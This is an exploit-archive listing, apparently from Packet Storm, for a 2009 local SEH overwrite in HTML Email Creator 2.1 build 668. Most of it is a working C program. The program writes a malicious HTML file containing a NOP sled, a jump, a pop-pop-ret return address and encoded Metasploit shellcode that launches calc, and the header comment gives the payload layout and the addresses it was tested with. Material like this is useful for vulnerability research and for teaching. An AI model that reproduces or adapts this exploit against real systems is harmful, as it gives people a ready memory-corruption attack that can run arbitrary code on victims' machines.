HTML Email Creator 2.1b668 Overwrite

🗓️ 14 Apr 2009 00:00:00Reported by dunType
packetstorm🔗 packetstormsecurity.com👁 19 Views
HTML Email Creator 2.1b668 Local SEH Overwrit
`/*   
:::::::-. ... ::::::. :::.  
;;, `';, ;; ;;;`;;;;, `;;;  
`[[ [[[[' [[[ [[[[[. '[[  
$$, $$$$ $$$ $$$ "Y$c$$  
888_,o8P'88 .d888 888 Y88  
MMMMP"` "YmmMMMM"" MMM YM  
[ Discovered and Exploited by dun ]  
  
  
[ HTML Email Creator <= 2.1 build 668 ] (html) Local SEH Overwrite Exploit  
  
Vendor: http://www.html-email.net/  
Download: http://www.html-email.net/download/html2emailcreator.exe  
  
Vuln:  
<img src="520 x A">  
or  
<script src="520 x A">  
or  
<link href="520 x A">  
  
___________________________520_____________________________   
| |  
[ NOPs ][ jmp 11 ][ pop-pop-ret ][ NOPs ][ shellcode ][ NOPs ]  
56 4 4 40 343 73   
  
  
Greetz: suN8Hclf, str0ke  
  
[ dun'at'strcpy.pl / 2009 ]   
*/  
  
  
#include <windows.h>  
#include <stdio.h>  
  
/*  
Tested on:   
WIN XP SP2 with installed "PC TOOLS Spyware Doctor" from google pack  
/SafeSEH OFF 0x636e0000 0x63709000 6.1.0.2 C:\Program Files\Spyware Doctor\smum32.dll  
#define RET 0x636E34BC // pop-pop-ret  
  
WIN XP without any upgrades  
kernel32.dll 0x77E9CB0E pop EAX - pop - ret  
#define RET 0x77E9CB0E // pop-pop-ret  
*/  
  
  
#define RET 0x77E9CB0E // pop-pop-ret  
#define JMP 0x909011EB // short jump (jmp 11)  
#define LEN 520  
#define NOP 0x90  
  
  
// win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
char scode[] =  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"  
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"  
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"  
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38"  
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"  
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"  
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"  
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"  
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33"  
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37"  
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"  
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"  
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53"  
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"  
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59"  
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"  
"\x4e\x56\x43\x46\x42\x30\x5a";  
  
  
  
int main() {  
  
FILE *file;  
int i=0;  
char buf[LEN+1];  
char *ptr=buf;  
  
memset(buf,0x00,LEN+1);  
memset(buf,NOP,LEN);  
*(unsigned long *)&buf[56] = JMP;  
*(unsigned long *)&buf[60] = RET;  
ptr+=56+4+4+40;  
memcpy(ptr, scode, strlen(scode));  
  
file=fopen("pwn.html","w");  
  
fprintf(file, "<HTML>\n<HEAD></HEAD>\n<BODY>\n<img src=\"");  
fputs(buf,file);  
fprintf(file, "\">\n</BODY>\n</HTML>\n");  
fclose(file);  
  
  
printf("File created..\n");  
return 0;   
}  
  
`
14 Apr 2009 00:00Current
0.3Low risk
Vulners AI Score0.3